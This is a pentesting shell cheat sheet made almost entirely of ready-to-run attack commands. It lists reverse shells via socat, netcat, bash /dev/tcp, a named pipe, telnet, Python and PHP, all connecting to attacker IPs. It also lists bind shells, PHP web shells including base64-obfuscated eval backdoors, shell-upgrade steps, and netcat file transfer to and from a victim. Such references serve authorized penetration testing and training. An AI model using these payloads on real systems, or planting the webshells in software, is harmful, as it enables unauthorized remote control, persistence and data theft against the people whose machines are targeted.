Shell Cheatsheet

Reverse Shell

Socat

Listener:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Shell

nc -e /bin/sh 10.0.0.1 1234

When -c works:

nc -c '/bin/bash -c "script /dev/null"' 127.0.0.1 1337

With /dev/tcp

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Using FIFO (Doesn't work with upgrading?)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Using telnet (When no nc and no /dev/tcp available). Listen with nc -n -vv -l -p 2222

rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipe

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.170",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bind Shell

Socat

Listener:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Victim:

socat FILE:`tty`,raw,echo=0 TCP:10.10.10.10:1337

Bash

port=4444; if [$# -eq 1]; then port=$1; fi; while true; do nc -lp $port -e /bin/bash;wait; done

Telnet

Lazy Bind Shell using telnet:

Listen with nc -n -vv -l -p 2222 and don't forget the & at the end

while true; do sleep 5; rm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipe; done &

Python

Connect via nc:

import socket as a; s = a.socket();s.bind(('0.0.0.0',1337));s.listen(1);(r,z) = s.accept();exec(r.recv(999))

After connecting upgrade via:

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/sh");s.close()

PHP

Simple Test

<?php echo shell_exec("sleep 20") ; ?> 

Minimal system shell

<?=`$_GET[1]`?>

<pre> <?=`$_GET[1]`?>

Reverse shell using a socket (cmd version)

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Reverse shell using a socket (file version)

<?php $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Web Shell

PHP

Minimal webshell (?cmd=ls)

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code:

<?php
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
?>

Base64 encoded cmd webshell

<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllO30=")); ?>

Execute system command

<?php system(cmd);?>

<?php system("nc -e /bin/sh 10.0.0.1 1234");?>

Listener

Shell

General Listener

Basic Listener, useful with upgrading

nc -vvlp 1337

stty -echo raw; nc -lp 1337; stty sane

Listen on a specific IP

nc -l -p 4444 -s 127.0.0.1

Upgrading

Socat

Check section above (Reverse Shell.Socat) using a static binary.

Shell

• Use bash, not zsh

• In reverse shell: Execute bash (for example using the Python method below)

• In reverse shell: export TERM=xterm-256color

• Switch to background with CTRL+Z

• Configure local shell: stty raw -echo

• Execute fg

• In reverse shell: reset

Python

Once connected, use Python to spawn a bash process:

python -c 'import pty; pty.spawn("/bin/bash")'

Put this process into the background:

<Ctrl-Z>

In your local shell, change the terminal settings and bring the background process to the foreground:

stty raw -echo; fg

Finally, once the job is back in the foreground, you can set up the shell environment to be more user-friendly:

export TERM=xterm

MSF

use post/multi/manage/shell_to_meterpreter

Fix Width

On attacker host:

stty -a

In (socat) shell:

stty rows 57 cols 211

Transferring files (e.g. socat or tsh)

Attacker = Listener

Sender:

nc -vvlp 1337 < file

Receiver:

nc <IP> <PORT> > /tmp/yolofile

Victim = Listener

Receiver:

nc -l -p 1234 > out.file

Sender:

nc -w 3 <IP> 1234 < out.file

Aliases

alias "l"="ls -la" && \
alias ".."="cd .."

Resources

• Pentest Monkey

• xl7dev

• Shell upgrading

• Web Shells Introduction